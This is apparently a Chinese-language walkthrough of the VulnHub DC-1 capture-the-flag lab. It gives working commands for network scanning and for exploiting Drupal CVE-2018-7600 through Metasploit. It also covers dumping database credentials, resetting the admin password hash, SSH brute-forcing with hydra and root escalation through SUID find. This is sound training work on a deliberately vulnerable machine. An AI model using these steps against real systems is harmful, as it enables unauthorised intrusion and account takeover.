Vulnhub-DC-1
官方网址:Vulnerable By Design ~ VulnHub
Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战
DC-1
DC系列的靶机是一个专门构建的易受攻击的实验室,总共有九个,目的是获得渗透测试领域的经验
是对于初学者的一个小挑战,相当于精英小怪的意思,打倒这个前提是,具备Linux技能,熟悉常用命令行,以及kali中工具的使用和搭配,找到 flag 的方法不限于一种,可以开拓自己的思路,方便自己积累经验
很多初学者可能会有无从下手的感觉,DC系列就能很好的帮你建立一个大致的思路,帮助我们来建立自己的渗透思路,很多环境我们可能都无法一次做出来,这就需要观看别人WP来为自己解惑,重要的是,理解大牛的思路,巩固自己的思路,不能为了解题而解题
DC: 1 ~ VulnHub 靶机下载地址
下载完成后,得到DC-1.ova文件,直接双击,VMware会直接弹出
导入成功后,直接开启,开启成功后,如图
环境介绍
靶机:Vulnhub DC-1
IP:未知
攻击机:kali
IP:192.168.199.134
任务简介
5个flag
任务分析
这个时候就是我们活跃思维的时间,针对于DC-1,我们应该从哪一步入手,应该干什么,需要做到什么,运用什么工具,来实现我们所需要的结果
目前,由于IP都不知道,第一步所需要做的肯定就是发现敌方所在位置,然后在根据目标,进行探测,信息收集,决定下一步所需要的战略
任务过程
发现目标ip
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
arp-scan -l
nmap -sn
netdiscover -i eth0 -r 192.168.199.0/24
目标IP确定为 192.168.199.139
发现目标ip开放端口
nmap -sV -p- 192.168.199.139
-sV 扫描目标主机端口上服务的版本信息
-p- -p指定端口 -p- 扫描全部端口 0-65535
22端口的ssh可以尝试 root
用户的密码爆破
80端口的网页先进行信息收集
web页面信息收集
在进入一个web页面以后,我的思路就是查看web所使用的CMS,然后查看这个CMS是否存在漏洞、EXP 可以直接使用,并在这个查找的时间,测试目录遍历,看到登录框尝试SQL注入
kali中目录遍历,我常用的就两个,dirbuster
dirb
这两个中,我又比较偏向于dirbuster
kali的字典默认位置为:/usr/share/wordlists
web的CMS识别最简单的是使用插件 wappalyzer
当然也可以使用kali中的whatweb
whatweb -v 192.168.199.139
得到CMS为 Drupal 7 直接搜索这个CMS所对应的漏洞利用
最终确定为 CVE-2018-7600
Drupal 的远程代码执行漏洞
出现漏洞的位置为
$new_elements = call_user_func_array($callable,$args)
call_user_func_array 函数是调用第一个参数的函数 传入的参数数第二个参数数组
只需要控制$callable为要执行的函数名,$args 为参数就OK
这两个变量是从$elements[‘#lazy_builder’]中取得elements是从用户传来的post来的 变量可控
MSF一把唆
msfconsole
search Drupal
use 1
run
shell 获取普通shell
python -c 'import pty; pty.spawn("/bin/bash")' 获取交互式shell
发现flag1
查看flag1
每个好的CMS都需要一个配置文件——你也是
根据提示查看Drupal
的配置文件 百度后 配置文件名称为 settings.php
cat `find / -name settings.php`
得到了,flag2和数据库的账号密码
登陆数据库
mysql -udbuser -pR0ck3t
show datebases;
use drupaldb
show tables;
可以使用常规的查询语句,但是这个表太长,有点不美观费眼睛,我增加了/G使表格变成纵向
select * from users\G;
admin的密码加密了应该是某种hash,也不好直接解密。文件中可能有加密的文件,可以找找,如果没有就需要百度 Drupal忘记密码
一系列的问题,尝试解决
find . -name “*hash*”
php /var/www/scripts/password-hash.sh 123456
password:123456
hash:$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv
update users set pass="$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name='admin';
web页面登陆
有搜索框,直接搜索flag,没搜到,这个捷径走不了,只能慢慢翻找有用信息了
提示了 passwd
和 shadow
文件
/etc/passwd 系统用户的基本信息
/etc/shadow 系统用户的密码等信息,只有root权限用户才能读取
发现 flag4
的用户,可以尝试爆破,或者提权查看 shadow
文件
使用 Hydra
挂着爆破 flag4
的密码
hydra -l flag4 -P /usr/share/wordlists/fasttrack.txt ssh://192.168.199.139
Linux提权
提示中还有 find
,可以想一下 SUID
提权
利用 find
命令,查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find指令
/根目录(查找位置)
-perm 权限
-u 用户
s 特权
-type 类型
f 文件
2>dev/null 过滤错误信息
尝试 find
提权
find / -name flag4.txt -exec "/bin/bash" -p \;
find / -name index.php -exec "/bin/sh" \;
查找的文件不重要(是存在的文件就行),只需要格式对,然后后面加上-exec "/bin/sh" \;
-p : 让 suid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 suid 和 uid 不匹配,会将 suid 强制重置为uid
使用 -p 参数,则不会再覆盖。
flag4
查看最后一个flag
总结
1.主机扫描
2.web信息收集
3.CMS漏洞查找及利用
4.Getshell
5.Linux